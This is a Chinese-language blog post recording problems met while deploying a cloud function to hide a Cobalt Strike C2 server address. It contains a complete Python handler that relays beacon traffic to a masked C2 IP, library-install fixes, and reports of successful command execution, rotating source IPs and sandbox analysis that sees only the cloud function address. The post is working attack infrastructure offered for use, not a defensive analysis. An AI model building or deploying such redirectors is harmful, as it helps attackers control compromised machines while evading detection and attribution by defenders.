踩坑记录之使用云函数隐藏C2地址

云函数隐藏C2地址的部署过程跟网络上大同小异,参考的以下文章进行部署,环境为CS4.2:

https://blog.csdn.net/w1590191166/article/details/113826579

https://www.cnblogs.com/SeanGyy/p/15614445.html

本文只记录在部署过程中遇到的问题。

坑点总结

部署过程中的2个踩坑分别是

  • python3.7默认没安装requests库

  • 直接pip3 install requests安装库不生效,需要指定保存位置

均已解决

部署过程

坑点1:python3.7默认未安装requests库

坑点:部署前没有测试,不知道python3.7默认没安装requests库

使用的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# coding: utf8
import json,requests,base64
def main_handler(event, context):
response = {}
path = None
headers = None
try:
C2='http://12*******10:80'
if 'path' in event.keys():
path=event['path']
if 'headers' in event.keys():
headers=event['headers']
if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
except Exception as e:
print('error')
print(e)
finally:
return response

所有部署好之后访问云函数地址,CS中没有流量,第一次尝试失败。

坑点2:直接pip3 install安装库不生效

回头调试时发现没有安装requests库,测试显示报错,之前没有测试直接部署了

1
No module named 'requests'

image-20220726200711612

image-20220726200634461

查看pip3 list确实没有

image-20220726200808139

pip3 install requests装一个,再次测试部署

image-20220726200900598

安装后发现还是不行,依然提示找不到requests,第二次尝试失败。

第三次尝试成功

52pojie中给出解决方法:

  1. 切换python3.6,自带requests
  2. 指定位置重新安装requests库

本次使用第二种方法,使用以下命令指定位置重新安装requests库

1
2
cd src
pip3 install requests -t .

重新部署,测试成功

image-20220726201856660

浏览器访问云函数地址,出现web日志

image-20220726204132966

执行命令成功,源ip是变化的

image-20220726204340902

修改云函数代码中协议为https,443端口,成功使用https监听连接

image-20220726204604706

使用沙箱分析出来的通讯地址也是云函数地址。